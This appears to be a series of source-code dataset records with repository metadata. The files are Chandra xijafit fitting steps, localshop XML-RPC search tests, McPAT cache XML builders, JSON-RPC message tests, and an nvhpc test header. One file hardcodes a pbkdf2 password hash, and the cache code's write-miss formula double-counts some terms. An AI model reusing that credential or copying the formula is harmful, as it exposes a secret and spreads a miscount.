jzuhone/chandra_models
|
db52e8f78e61871e1b0a34593fc525b784ee3374
|
[
"BSD-3-Clause"
] | 3
|
2016-02-02T19:50:38.000Z
|
2018-08-24T21:17:05.000Z
|
# Licensed under a 3-clause BSD style license - see LICENSE.rst
import xija
import sys
from os.path import expanduser
home = expanduser("~")
addthispath = home + '/AXAFLIB/xijafit/'
sys.path.insert(0, addthispath)
import xijafit
stars = '*'*80
n = 0
newmodel = xijafit.XijaFit('aca_model_spec.json', start='2014:001', stop='2018:300',
set_data_exprs=(u'aca0=12.0',), quiet=False, name='aacccdpt')
n = n + 1
print('{}\nStep {}\n{}'.format(stars, n, stars))
newmodel.freeze_all()
newmodel.thaw_param(u'heatsink__aca0__tau')
newmodel.thaw_param(u'heatsink__aca0__T')
newmodel.thaw_param(u'coupling__aacccdpt__aca0')
newmodel.fit(method='moncar')
n = n + 1
print('{}\nStep {}\n{}'.format(stars, n, stars))
newmodel.freeze_all()
newmodel.thaw_solarheat_p()
newmodel.thaw_param(u'coupling__aacccdpt__aca0__tau')
newmodel.fit(method='moncar')
n = n + 1
print('{}\nStep {}\n{}'.format(stars, n, stars))
newmodel.freeze_all()
newmodel.thaw_param(u'solarheat__aca0__ampl')
# newmodel.thaw_solarheat_roll()
newmodel.fit(method='moncar')
n = n + 1
print('{}\nStep {}\n{}'.format(stars, n, stars))
newmodel.freeze_all()
newmodel.thaw_param(u'heatsink__aca0__tau')
newmodel.thaw_param(u'heatsink__aca0__T')
newmodel.thaw_param(u'coupling__aacccdpt__aca0')
newmodel.fit(method='moncar')
n = n + 1
print('{}\nStep {}\n{}'.format(stars, n, stars))
newmodel.freeze_all()
newmodel.thaw_solarheat_p()
newmodel.thaw_param(u'coupling__aacccdpt__aca0__tau')
newmodel.fit(method='moncar')
n = n + 1
print('{}\nStep {}\n{}'.format(stars, n, stars))
newmodel.freeze_all()
newmodel.thaw_solarheat_dp()
newmodel.thaw_param(u'solarheat__aca0__ampl')
newmodel.fit(method='moncar')
n = n + 1
print('{}\nStep {}\n{}'.format(stars, n, stars))
newmodel.freeze_all()
newmodel.thaw_solarheat_p()
newmodel.thaw_param(u'coupling__aacccdpt__aca0__tau')
newmodel.fit(method='moncar')
n = n + 1
print('{}\nStep {}\n{}'.format(stars, n, stars))
newmodel.freeze_all()
newmodel.thaw_param(u'solarheat__aca0__ampl')
# newmodel.thaw_solarheat_roll()
newmodel.fit(method='moncar')
n = n + 1
print('{}\nStep {}\n{}'.format(stars, n, stars))
newmodel.freeze_all()
newmodel.thaw_param(u'heatsink__aca0__tau')
newmodel.thaw_param(u'heatsink__aca0__T')
newmodel.thaw_param(u'coupling__aacccdpt__aca0')
newmodel.fit(method='moncar')
n = n + 1
print('{}\nStep {}\n{}'.format(stars, n, stars))
newmodel.freeze_all()
newmodel.thaw_solarheat_dp()
newmodel.thaw_param(u'solarheat__aca0__ampl')
newmodel.fit(method='moncar')
newmodel.write_spec_file()
newmodel.write_snapshots_file()
newmodel = xijafit.XijaFit('aacccdpt_model_spec.json', start='2018:270', stop='2018:305',
set_data_exprs=(u'aca0=-11.0',), quiet=False, name='aacccdpt')
n = n + 1
print('{}\nStep {}\n{}'.format(stars, n, stars))
newmodel.freeze_all()
newmodel.thaw_param(u'step_power__aca0__P')
newmodel.fit(method='moncar')
newmodel.write_spec_file()
newmodel.write_snapshots_file()
| 27.537736
| 89
| 0.742035
| 439
| 2,919
| 4.63098
| 0.170843
| 0.141663
| 0.142154
| 0.150516
| 0.83817
| 0.821446
| 0.821446
| 0.821446
| 0.821446
| 0.821446
| 0
| 0.02567
| 0.079137
| 2,919
| 105
| 90
| 27.8
| 0.730655
| 0.042138
| 0
| 0.831325
| 0
| 0
| 0.261555
| 0.095665
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.048193
| 0
| 0.048193
| 0.13253
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7e797cdf0a477ef3e2fd9316f4392b4c8d140b8a
| 3,999
|
py
|
Python
|
tests/apps/packages/test_xmlrpc.py
|
tranarthur/localshop
|
fd6056561851c6a40df56375d106c81864b77c26
|
[
"MIT"
] | 162
|
2015-01-03T07:59:18.000Z
|
2022-02-04T12:37:14.000Z
|
tests/apps/packages/test_xmlrpc.py
|
tranarthur/localshop
|
fd6056561851c6a40df56375d106c81864b77c26
|
[
"MIT"
] | 110
|
2015-01-06T00:58:21.000Z
|
2022-02-10T07:16:54.000Z
|
tests/apps/packages/test_xmlrpc.py
|
tranarthur/localshop
|
fd6056561851c6a40df56375d106c81864b77c26
|
[
"MIT"
] | 67
|
2015-01-15T18:12:18.000Z
|
2021-09-27T09:45:55.000Z
|
import xmlrpc.client as xmlrpclib
import pytest
from tests.factories import ReleaseFactory
@pytest.fixture(params=['/RPC2', '/pypi'])
def rpc_endpoint(request):
return request.param
@pytest.mark.django_db
def test_search_package_name(client, admin_user, live_server, repository,
rpc_endpoint):
ReleaseFactory(
package__name='my-package', package__repository=repository,
summary='Test summary')
client = xmlrpclib.ServerProxy(live_server + rpc_endpoint)
response = client.search({'name': 'my-package'})
assert response == [{
'_pypi_ordering': 0,
'name': 'my-package',
'summary': 'Test summary',
'version': '1.0.0'}]
@pytest.mark.django_db
def test_search_package_summary(client, admin_user, live_server, repository,
rpc_endpoint):
ReleaseFactory(
package__name='my-package', package__repository=repository,
summary='Test summary')
client = xmlrpclib.ServerProxy(live_server + rpc_endpoint)
response = client.search({'summary': ['Test summary']})
assert response == [{
'_pypi_ordering': 0,
'name': 'my-package',
'summary': 'Test summary',
'version': '1.0.0'}]
@pytest.mark.django_db
def test_search_operator_and(client, admin_user, live_server, repository,
rpc_endpoint):
ReleaseFactory(package__name='my-package-1',
package__repository=repository,
summary='Test summary')
ReleaseFactory(package__name='arcoiro',
package__repository=repository,
summary='Test summary')
ReleaseFactory(package__name='my-package-2',
package__repository=repository,
summary='arcoiro')
client = xmlrpclib.ServerProxy(live_server + rpc_endpoint)
response = client.search({'name': ['my-package'],
'summary': ['Test summary']}, 'and')
assert response == [{
'_pypi_ordering': 0,
'name': 'my-package-1',
'summary': 'Test summary',
'version': '1.0.0'}]
@pytest.mark.django_db
def test_search_operator_or(client, admin_user, live_server, repository,
rpc_endpoint):
ReleaseFactory(package__name='my-package-1',
package__repository=repository,
summary='Test summary')
ReleaseFactory(package__name='arcoiro',
package__repository=repository,
summary='Test summary')
ReleaseFactory(package__name='my-package-2',
package__repository=repository,
summary='arcoiro')
client = xmlrpclib.ServerProxy(live_server + rpc_endpoint)
response = client.search({'name': ['my-package'],
'summary': ['Test summary']}, 'or')
assert response == [{
'_pypi_ordering': 0,
'name': 'arcoiro',
'summary': 'Test summary',
'version': '1.0.0'
},
{
'_pypi_ordering': 0,
'name': 'my-package-1',
'summary': 'Test summary',
'version': '1.0.0'
},
{
'_pypi_ordering': 0,
'name': 'my-package-2',
'summary': 'arcoiro',
'version': '1.0.0'
}]
@pytest.mark.django_db
def test_search_invalid_fields_are_ignores(client, admin_user, live_server,
repository, rpc_endpoint):
ReleaseFactory(package__name='my-package',
package__repository=repository,
summary='Test summary')
client = xmlrpclib.ServerProxy(live_server + rpc_endpoint)
response = client.search({'name': ['my-package'], 'invalid': ['Ops']})
assert response == [{
'_pypi_ordering': 0,
'name': 'my-package',
'summary': 'Test summary',
'version': '1.0.0'}]
| 31.242188
| 76
| 0.575394
| 387
| 3,999
| 5.692506
| 0.131783
| 0.046301
| 0.100318
| 0.138902
| 0.891512
| 0.891512
| 0.87744
| 0.87744
| 0.850658
| 0.850658
| 0
| 0.012816
| 0.297574
| 3,999
| 127
| 77
| 31.488189
| 0.771449
| 0
| 0
| 0.734694
| 0
| 0
| 0.184796
| 0
| 0
| 0
| 0
| 0
| 0.05102
| 1
| 0.061224
| false
| 0
| 0.030612
| 0.010204
| 0.102041
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0e65285dc614d87b5590f0639d08f5c2d3456d3c
| 92
|
py
|
Python
|
parameters_9000.py
|
zhangjiannan/easyflow
|
2c9906d3cc2088ed367f887da842a46db5d903ed
|
[
"BSD-3-Clause"
] | null | null | null |
parameters_9000.py
|
zhangjiannan/easyflow
|
2c9906d3cc2088ed367f887da842a46db5d903ed
|
[
"BSD-3-Clause"
] | null | null | null |
parameters_9000.py
|
zhangjiannan/easyflow
|
2c9906d3cc2088ed367f887da842a46db5d903ed
|
[
"BSD-3-Clause"
] | 1
|
2021-05-20T10:48:34.000Z
|
2021-05-20T10:48:34.000Z
|
password="pbkdf2(1000,20,sha512)$aa925206b00a7043$28115a6960f48c6f11bd00bc838e9f2d622c0262"
| 46
| 91
| 0.891304
| 7
| 92
| 11.714286
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.549451
| 0.01087
| 92
| 1
| 92
| 92
| 0.351648
| 0
| 0
| 0
| 0
| 0
| 0.869565
| 0.869565
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
0e6c2c4aaa8b372186ff7d9095854d848ddf33de
| 11,700
|
py
|
Python
|
python/deprecated/mcpat_autogen/cache.py
|
JimmyZhang12/predict-T
|
8ae818b0791104de20633ce91e6d633cda7445b3
|
[
"MIT"
] | 1
|
2020-05-25T00:33:59.000Z
|
2020-05-25T00:33:59.000Z
|
python/deprecated/mcpat_autogen/cache.py
|
JimmyZhang12/predict-T
|
8ae818b0791104de20633ce91e6d633cda7445b3
|
[
"MIT"
] | 13
|
2020-01-30T22:34:13.000Z
|
2020-06-25T13:54:57.000Z
|
python/deprecated/mcpat_autogen/cache.py
|
JimmyZhang12/predict-T
|
8ae818b0791104de20633ce91e6d633cda7445b3
|
[
"MIT"
] | 1
|
2020-10-13T05:58:58.000Z
|
2020-10-13T05:58:58.000Z
|
# Copyright (c) 2020 University of Illinois
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met: redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer;
# redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution;
# neither the name of the copyright holders nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# Authors: Andrew Smith
#
# cache.py
#
# Create and populate a cache class
from xml.etree import ElementTree
from xml.dom import minidom
class Cache:
def __init__(self, component_id, component_name, \
stat_dict, config_dict, sim_dict, ruby=False):
self.name = "cache"
self.id = "cache"
self.parameters = \
{
"config" : \
["0,1,2,3,4,5,6,7","Cache Capacity, Block Width, Associativity,"\
" Bank, Throughput w.r.t. core clock, Latency w.r.t. core clock," \
" Output Width, Cache Policy: 0 no write or write-though with" \
" non-write allocate; 1 write-back with write-allocate"],
"buffer_sizes" : \
["0,1,2,3","Cache controller buffer sizes: miss_buffer_size" \
"(MSHR), fill_buffer_size, prefetch_buffer_size, wb_buffer_size"],
"clockrate" : \
["1000","Clock rate in MHz"],
"vdd" : \
["1.2","Voltage"],
"power_gating_vcc" : \
["-1","-1 means default power gating"],
"ports" : \
["1,1,1","Number of R, W, RW ports"],
"device_type" : \
["0","0: HP, 1: LP"]
}
self.stats = \
{
"duty_cycle" : \
["1.0",""],
"read_accesses" : \
["0", "Cache Read Accesses Total"],
"read_misses" : \
["0", "Cache Read Req Misses Total"],
"write_accesses" : \
["0", "Cache Write Accesses Total"],
"write_misses" : \
["0", "Cache Write Req Misses Total"],
"conflicts" : \
["0", "Cache Replacements"]
}
self.name = component_name
self.id = component_id
# Init the Cache Parameters and Stats:
if ruby:
self.parameters["config"][0]= \
",".join([config_dict["size"],config_dict["tags.block_size"], \
config_dict["assoc"],"1","1",config_dict["response_latency"], \
config_dict["tags.block_size"],"0"])
self.parameters["buffer_sizes"][0]= \
",".join([config_dict["mshrs"],config_dict["mshrs"], \
config_dict["mshrs"],config_dict["mshrs"]])
self.parameters["clockrate"][0]= \
str((1.0e-6/float(config_dict["clock"]))*1.0e12)
self.parameters["vdd"][0]= \
str(float(sim_dict["voltage"]))
self.stats["read_accesses"][0]= \
str(int(stat_dict["ReadExReq_accesses::total"][1]) \
+int(stat_dict["ReadCleanReq_accesses::total"][1]) \
+int(stat_dict["ReadSharedReq_accesses::total"][1]))
self.stats["read_misses"][0]= \
str(int(stat_dict["ReadCleanReq_misses::total"][1]) \
+int(stat_dict["ReadExReq_misses::total"][1]))
self.stats["write_accesses"][0]= \
str(int(stat_dict["WritebackDirty_accesses::total"][1]) \
+int(stat_dict["WritebackClean_accesses::total"][1]))
self.stats["write_misses"][0]= \
str(int(stat_dict["WritebackClean_accesses::total"][1]) \
+int(stat_dict["WritebackClean_accesses::total"][1]) \
-int(stat_dict["WritebackDirty_hits::total"][1]) \
-int(stat_dict["WritebackDirty_hits::total"][1]))
self.stats["conflicts"][0]= \
str(int(stat_dict["replacements"][1]))
else:
self.parameters["config"][0]= \
",".join([config_dict["size"],config_dict["tags.block_size"], \
config_dict["assoc"],"1","1",config_dict["response_latency"], \
config_dict["tags.block_size"],"0"])
self.parameters["buffer_sizes"][0]= \
",".join([config_dict["mshrs"],config_dict["mshrs"], \
config_dict["mshrs"],config_dict["mshrs"]])
self.parameters["clockrate"][0]= \
str((1.0e-6/float(config_dict["clock"]))*1.0e12)
self.parameters["vdd"][0]= \
str(float(sim_dict["voltage"]))
self.stats["read_accesses"][0]= \
str(int(stat_dict["ReadExReq_accesses::total"][1]) \
+int(stat_dict["ReadCleanReq_accesses::total"][1]) \
+int(stat_dict["ReadSharedReq_accesses::total"][1]))
self.stats["read_misses"][0]= \
str(int(stat_dict["ReadCleanReq_misses::total"][1]) \
+int(stat_dict["ReadExReq_misses::total"][1]))
self.stats["write_accesses"][0]= \
str(int(stat_dict["WritebackDirty_accesses::total"][1]) \
+int(stat_dict["WritebackClean_accesses::total"][1]))
self.stats["write_misses"][0]= \
str(int(stat_dict["WritebackClean_accesses::total"][1]) \
+int(stat_dict["WritebackClean_accesses::total"][1]) \
-int(stat_dict["WritebackDirty_hits::total"][1]) \
-int(stat_dict["WritebackDirty_hits::total"][1]))
self.stats["conflicts"][0]= \
str(int(stat_dict["replacements"][1]))
def xml(self):
""" Build an XML Tree from the parameters, stats, and subcomponents """
top = ElementTree.Element('component', id=self.id, name=self.name)
for key in sorted(self.parameters):
top.append(ElementTree.Comment( \
", ".join(['param', key, self.parameters[key][1]])))
top.append(ElementTree.Element( \
'param', name=key, value=self.parameters[key][0]))
for key in sorted(self.stats):
top.append(ElementTree.Comment( \
", ".join(['stat', key, self.stats[key][1]])))
top.append(ElementTree.Element( \
'stat', name=key, value=self.stats[key][0]))
return top
class ICache:
def __init__(self, component_id, component_name, \
stat_dict, config_dict, sim_dict):
self.name = "icache"
self.id = "icache"
self.parameters = \
{
"icache_config" : \
["0,1,2,3,4,5,6,7","Cache Capacity, Block Width,"
"Associativity, Bank, Throughput w.r.t. core clock, Latency"
"w.r.t. core clock, Output Width, Cache Policy: 0 no write or"
"write-though with non-write allocate; 1 write-back with"
"write-allocate"],
"buffer_sizes" : \
["0,1,2,3","Cache controller buffer sizes:"
"miss_buffer_size(MSHR), fill_buffer_size,"
"prefetch_buffer_size, wb_buffer_size"]
}
self.stats = \
{
"read_accesses" : ["0", "Cache Read Accesses Total"],
"read_misses" : ["0", "Cache Read Req Misses Total"],
"conflicts" : ["0", "Cache Replacements"]
}
self.name = component_name
self.id = component_id
# Init the Cache Parameters and Stats:
self.parameters["icache_config"][0]= \
",".join([config_dict["size"],config_dict["tags.block_size"], \
config_dict["assoc"],"1","1",config_dict["response_latency"], \
config_dict["tags.block_size"],"0"])
self.parameters["buffer_sizes"][0]= \
",".join([config_dict["mshrs"],config_dict["mshrs"], \
config_dict["mshrs"],config_dict["mshrs"]])
self.stats["read_accesses"][0]= \
str(int(stat_dict["ReadReq_accesses::total"][1]))
self.stats["read_misses"][0]= \
str(int(stat_dict["ReadReq_misses::total"][1]))
self.stats["conflicts"][0]=str(int(stat_dict["replacements"][1]))
def xml(self):
""" Build an XML Tree from the parameters, stats, and
subcomponents """
top = ElementTree.Element('component', id=self.id, name=self.name)
for key in sorted(self.parameters):
top.append(ElementTree.Comment( \
", ".join(['param', key, self.parameters[key][1]])))
top.append(ElementTree.Element( \
'param', name=key, value=self.parameters[key][0]))
for key in sorted(self.stats):
top.append(ElementTree.Comment( \
", ".join(['stat', key, self.stats[key][1]])))
top.append(ElementTree.Element( \
'stat', name=key, value=self.stats[key][0]))
return top
class DCache:
def __init__(self, component_id, component_name, \
stat_dict, config_dict, sim_dict):
self.name = "dcache"
self.id = "dcache"
self.parameters = \
{
"dcache_config" :
["0,1,2,3,4,5,6,7","Cache Capacity, Block Width,"
"Associativity, Bank, Throughput w.r.t. core clock, Latency"
"w.r.t. core clock, Output Width, Cache Policy: 0 no write or"
"write-though with non-write allocate; 1 write-back with"
"write-allocate"],
"buffer_sizes" :
["0,1,2,3","Cache controller buffer sizes:"
"miss_buffer_size(MSHR), fill_buffer_size,"
"prefetch_buffer_size, wb_buffer_size"]
}
self.stats = \
{
"read_accesses" : ["0", "Cache Read Accesses Total"],
"read_misses" : ["0", "Cache Read Req Misses Total"],
"write_accesses" : ["0", "Cache Write Accesses Total"],
"write_misses" : ["0", "Cache Write Req Misses Total"],
"conflicts" : ["0", "Cache Replacements"]
}
self.name = component_name
self.id = component_id
# Init the Cache Parameters and Stats:
self.parameters["dcache_config"][0]= \
",".join([config_dict["size"],config_dict["tags.block_size"], \
config_dict["assoc"],"1","1",config_dict["response_latency"], \
config_dict["tags.block_size"],"0"])
self.parameters["buffer_sizes"][0]= \
",".join([config_dict["mshrs"],config_dict["mshrs"], \
config_dict["mshrs"],config_dict["mshrs"]])
self.stats["read_accesses"][0]= \
str(int(stat_dict["ReadReq_accesses::total"][1]))
self.stats["read_misses"][0]= \
str(int(stat_dict["ReadReq_misses::total"][1]))
self.stats["write_accesses"][0]= \
str(int(stat_dict["WriteReq_accesses::total"][1]))
self.stats["write_misses"][0]= \
str(int(stat_dict["WriteReq_misses::total"][1]))
self.stats["conflicts"][0]= \
str(int(stat_dict["replacements"][1]))
def xml(self):
""" Build an XML Tree from the parameters, stats, and
subcomponents """
top = ElementTree.Element('component', id=self.id, name=self.name)
for key in sorted(self.parameters):
top.append(ElementTree.Comment( \
", ".join(['param', key, self.parameters[key][1]])))
top.append(ElementTree.Element( \
'param', name=key, value=self.parameters[key][0]))
for key in sorted(self.stats):
top.append(ElementTree.Comment( \
", ".join(['stat', key, self.stats[key][1]])))
top.append(ElementTree.Element( \
'stat', name=key, value=self.stats[key][0]))
return top
| 41.785714
| 77
| 0.62735
| 1,506
| 11,700
| 4.735724
| 0.164011
| 0.057487
| 0.049355
| 0.027762
| 0.804543
| 0.790522
| 0.788278
| 0.788278
| 0.788278
| 0.788278
| 0
| 0.018852
| 0.206581
| 11,700
| 279
| 78
| 41.935484
| 0.749434
| 0.158034
| 0
| 0.711111
| 0
| 0.004444
| 0.339904
| 0.086712
| 0
| 0
| 0
| 0
| 0
| 1
| 0.026667
| false
| 0
| 0.008889
| 0
| 0.062222
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0ea734623dbef603f220940cce26423e4eb04d78
| 9,943
|
py
|
Python
|
tests/hosting/test_messages.py
|
DaeunYim/pgtoolsservice
|
b7e548718d797883027b2caee2d4722810b33c0f
|
[
"MIT"
] | 33
|
2019-05-27T13:04:35.000Z
|
2022-03-17T13:33:05.000Z
|
tests/hosting/test_messages.py
|
DaeunYim/pgtoolsservice
|
b7e548718d797883027b2caee2d4722810b33c0f
|
[
"MIT"
] | 31
|
2019-06-10T01:55:47.000Z
|
2022-03-09T07:27:49.000Z
|
tests/hosting/test_messages.py
|
DaeunYim/pgtoolsservice
|
b7e548718d797883027b2caee2d4722810b33c0f
|
[
"MIT"
] | 25
|
2019-05-13T18:39:24.000Z
|
2021-11-16T03:07:33.000Z
|
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
import unittest
from ossdbtoolsservice.hosting.json_message import JSONRPCMessage, JSONRPCMessageType
class JsonRpcMessageTests(unittest.TestCase):
def test_create_error(self):
# If: I create an error message
message = JSONRPCMessage.create_error(10, 20, 'msg', {})
# Then:
# ... The message should have all the properties I defined
self.assertIsNotNone(message)
self.assertEqual(message.message_id, 10)
self.assertIsNone(message.message_method)
self.assertIsNone(message.message_params)
self.assertIsNone(message.message_result)
self.assertIsNotNone(message.message_error)
self.assertEqual(message.message_error['code'], 20)
self.assertEqual(message.message_error['message'], 'msg')
self.assertDictEqual(message.message_error['data'], {})
self.assertEqual(message.message_type, JSONRPCMessageType.ResponseError)
# ... The dictionary should have the same values stored
dictionary = message.dictionary
self.assertIsNotNone(dictionary)
self.assertDictEqual(dictionary, {
'jsonrpc': '2.0',
'error': {
'code': 20,
'message': 'msg',
'data': {}
},
'id': 10
})
def test_create_response(self):
# If: I create a response
message = JSONRPCMessage.create_response(10, {})
# Then:
# ... The message should have all the properties I defined
self.assertIsNotNone(message)
self.assertEqual(message.message_id, 10)
self.assertIsNone(message.message_method)
self.assertIsNone(message.message_params)
self.assertIsNotNone(message.message_result)
self.assertDictEqual(message.message_result, {})
self.assertIsNone(message.message_error)
self.assertEqual(message.message_type, JSONRPCMessageType.ResponseSuccess)
# ... The dictionary should have the same values stored
dictionary = message.dictionary
self.assertIsNotNone(dictionary)
self.assertDictEqual(dictionary, {
'jsonrpc': '2.0',
'result': {},
'id': 10
})
def test_create_request(self):
# If: I create a request
message = JSONRPCMessage.create_request(10, "test/test", {})
# Then:
# ... The message should have all the properties I defined
self.assertIsNotNone(message)
self.assertEqual(message.message_id, 10)
self.assertEqual(message.message_method, "test/test")
self.assertDictEqual(message.message_params, {})
self.assertIsNone(message.message_result)
self.assertIsNone(message.message_error)
self.assertEqual(message.message_type, JSONRPCMessageType.Request)
# ... The dictionary should have the same values stored
dictionary = message.dictionary
self.assertIsNotNone(dictionary)
self.assertDictEqual(dictionary, {
'jsonrpc': '2.0',
'method': 'test/test',
'params': {},
'id': 10
})
def test_create_notification(self):
# If: I create a notification
message = JSONRPCMessage.create_notification("test/test", {})
# Then:
# ... The message should have all the properties I defined
self.assertIsNotNone(message)
self.assertIsNone(message.message_id)
self.assertEqual(message.message_method, "test/test")
self.assertDictEqual(message.message_params, {})
self.assertIsNone(message.message_result)
self.assertIsNone(message.message_error)
self.assertEqual(message.message_type, JSONRPCMessageType.Notification)
# ... The dictionary should have the same values stored
dictionary = message.dictionary
self.assertIsNotNone(dictionary)
self.assertDictEqual(dictionary, {
'jsonrpc': '2.0',
'method': 'test/test',
'params': {}
})
# FROM DICTIONARY TESTS ################################################
def test_from_dict_notification(self):
# If: I create a notification message from a dictionary
message = JSONRPCMessage.from_dictionary({
'method': 'test/test',
'params': {}
# No ID = Notification
})
# Then:
# ... The message should have all the properties I defined
self.assertIsNotNone(message)
self.assertIsNone(message.message_id)
self.assertEqual(message.message_method, "test/test")
self.assertDictEqual(message.message_params, {})
self.assertIsNone(message.message_result)
self.assertIsNone(message.message_error)
self.assertEqual(message.message_type, JSONRPCMessageType.Notification)
# ... The dictionary should have the same values stored
dictionary = message.dictionary
self.assertIsNotNone(dictionary)
self.assertDictEqual(dictionary, {
'jsonrpc': '2.0',
'method': 'test/test',
'params': {}
})
def test_from_dict_invalid_notification(self):
# If: I create a notification message from a dictionary that is missing a method
# Then: I should get an exception
with self.assertRaises(ValueError):
JSONRPCMessage.from_dictionary({
'params': {}
# No ID = Notification
# No method = Invalid
})
def test_from_dict_response(self):
# If: I create a successful response from a dictionary
message = JSONRPCMessage.from_dictionary({
'id': '10',
'result': {}
})
# Then:
# ... The message should have all the properties I defined
self.assertIsNotNone(message)
self.assertEqual(message.message_id, '10')
self.assertIsNone(message.message_method)
self.assertIsNone(message.message_params)
self.assertIsNotNone(message.message_result)
self.assertDictEqual(message.message_result, {})
self.assertIsNone(message.message_error)
self.assertEqual(message.message_type, JSONRPCMessageType.ResponseSuccess)
# ... The dictionary should have the same values stored
dictionary = message.dictionary
self.assertIsNotNone(dictionary)
self.assertDictEqual(dictionary, {
'jsonrpc': '2.0',
'result': {},
'id': '10'
})
def test_from_dict_error(self):
# If: I create an error response from a dictionary
message = JSONRPCMessage.from_dictionary({
'id': '10',
'error': {
'code': 20,
'message': 'msg',
'data': {}
}
})
# Then:
# ... The message should have all the properties I defined
self.assertIsNotNone(message)
self.assertEqual(message.message_id, '10')
self.assertIsNone(message.message_method)
self.assertIsNone(message.message_params)
self.assertIsNone(message.message_result)
self.assertIsNotNone(message.message_error)
self.assertEqual(message.message_error['code'], 20)
self.assertEqual(message.message_error['message'], 'msg')
self.assertDictEqual(message.message_error['data'], {})
self.assertEqual(message.message_type, JSONRPCMessageType.ResponseError)
# ... The dictionary should have the same values stored
dictionary = message.dictionary
self.assertIsNotNone(dictionary)
self.assertDictEqual(dictionary, {
'jsonrpc': '2.0',
'error': {
'code': 20,
'message': 'msg',
'data': {}
},
'id': '10'
})
def test_from_dict_response_invalid(self):
# If: I create an invalid response from a dictionary
# Then: I should get an exception
with self.assertRaises(ValueError):
JSONRPCMessage.from_dictionary({
'id': '10',
'error': {},
'result': {}
})
def test_from_dict_request(self):
# If: I create a request from a dictionary
message = JSONRPCMessage.from_dictionary({
'id': '10',
'method': 'test/test',
'params': {}
})
# Then:
# ... The message should have all the properties I defined
self.assertIsNotNone(message)
self.assertEqual(message.message_id, '10')
self.assertEqual(message.message_method, "test/test")
self.assertDictEqual(message.message_params, {})
self.assertIsNone(message.message_result)
self.assertIsNone(message.message_error)
self.assertEqual(message.message_type, JSONRPCMessageType.Request)
# ... The dictionary should have the same values stored
dictionary = message.dictionary
self.assertIsNotNone(dictionary)
self.assertDictEqual(dictionary, {
'jsonrpc': '2.0',
'method': 'test/test',
'params': {},
'id': '10'
})
def test_from_dict_request_invalid(self):
# If: I create an invalid request from a dictionary
# Then: I should get an exception
with self.assertRaises(ValueError):
JSONRPCMessage.from_dictionary({
'id': '10',
'params': {}
})
if __name__ == '__main__':
unittest.main()
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0
| 8
|
7d04df9a0ac92933d10ff4d01590420482b881b3
| 16,405
|
py
|
Python
|
test/test_nvhpc.py
|
adegomme/hpc-container-maker
|
fc397482f324af9b0571f235cb51ad9d2939f1c5
|
[
"Apache-2.0"
] | null | null | null |
test/test_nvhpc.py
|
adegomme/hpc-container-maker
|
fc397482f324af9b0571f235cb51ad9d2939f1c5
|
[
"Apache-2.0"
] | null | null | null |
test/test_nvhpc.py
|
adegomme/hpc-container-maker
|
fc397482f324af9b0571f235cb51ad9d2939f1c5
|
[
"Apache-2.0"
] | null | null | null |
# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# pylint: disable=invalid-name, too-few-public-methods, bad-continuation
"""Test cases for the nvhpc module"""
from __future__ import unicode_literals
from __future__ import print_function
import logging # pylint: disable=unused-import
import unittest
from helpers import aarch64, centos, docker, ppc64le, ubuntu, x86_64
